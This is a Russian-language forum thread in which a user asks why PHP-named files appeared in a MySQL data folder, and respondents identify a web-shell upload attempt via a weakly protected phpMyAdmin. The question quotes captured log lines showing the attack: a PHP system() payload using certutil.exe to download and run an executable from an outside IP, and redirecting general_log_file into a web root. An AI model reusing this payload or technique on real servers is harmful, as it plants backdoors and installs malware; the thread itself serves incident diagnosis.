Откуда взялись подозрительные файлы в папке данных mysql?

Question

[Snewer]

Здравствуйте!

Заметил в папке с данными MySQL подозрительные PHP файлы:

auto.cnf
ca-key.pem
ca.pem
C:AppServwwwindex.php
client-cert.pem
client-key.pem
C:phpStudyPHPTutorialWWWindex.php
C:phpStudyWWWindex.php
C:PHPTutorialWWWindex.php
C:xampphtdocsindex.php
D:phpStudyPHPTutorialWWWindex.php
D:phpStudyWWWindex.php
D:PHPTutorialWWWindex.php
E:phpStudyPHPTutorialWWWindex.php
E:phpStudyWWWindex.php
E:PHPTutorialWWWindex.php
ib_buffer_pool
ibdata1
ib_logfile0
ib_logfile1
ibtmp1
mysql
performance_schema
private_key.pem
public_key.pem
server-cert.pem
server-key.pem
sys

Пример содержимого:

2018-12-23T08:01:47.597864Z     11192 Query     SELECT '<?php @system("certutil.exe -urlcache -split -f http://23.94.62.127/wkinstall.exe &wkinstall.exe &del wkinstall.exe'
2018-12-23T08:01:47.799769Z     11192 Query     set global general_log='on'
2018-12-23T08:01:47.985474Z     11192 Query     SET global general_log_file='C:\xampp\htdocs\index.php'

Что можете сказать по этому поводу? Спасибо.

Comments

[Johny Smith]

Почтовым сервисам не нравится содержание вашего поста:

Answer 1

[Максим Гришин]

У тебя в веб-сайте есть некий элемент, позволяющий залить файлы, его попытались ломануть, заливая шелл или бэкдор, а путь, куда заливать, не смогли нормально подобрать (либо какой-то из каталогов, открытый на запись, в настройках веб-сервера указывает на каталог базы данных, скорее всего и то и другое). Тебя спасло то, что сервер у тебя на линуксе, а атакующий пытался ломануть винды. Возможно, тебе взломали phpmyadmin-компонент (подобрали пароль, например). В общем жопа сайту, перезалей контент, обнови движок и забэкапь базу, и внимательно смотри конфиг веб-сервера, чтобы не было в нем посторонних каталогов, которые в принципе не должны светиться наружу.

Comments

[Snewer]

Файлы базы данных наружу, конечно, "не светятся". Поэтому мне и интересно, как туда могли залить файлы. Пароль к pma подобрать могли, он простой (123456), но опять же, как могли туда загрузить файлы? и что с ними хотели сделать? Само содержимое файлов больше похожи на логи

Answer 2

[Boris Köln]

На вашем сайте есть SQL-инъекция. Полный доступ к БД атакующие уже получили, сейчас пытаются залить бэкдор.

Comments

[Snewer]

Инъекции не может быть, но доступ могли получить (root / 123456 пароль к pma). Это не проблема, сервер тестовый. Интересно как эти файлы сгенерировались в данной папке и почему такое содержимое.

[Boris Köln]

Snewer, https://dev.mysql.com/doc/refman/8.0/en/select.html
SELECT ... INTO OUTFILE ...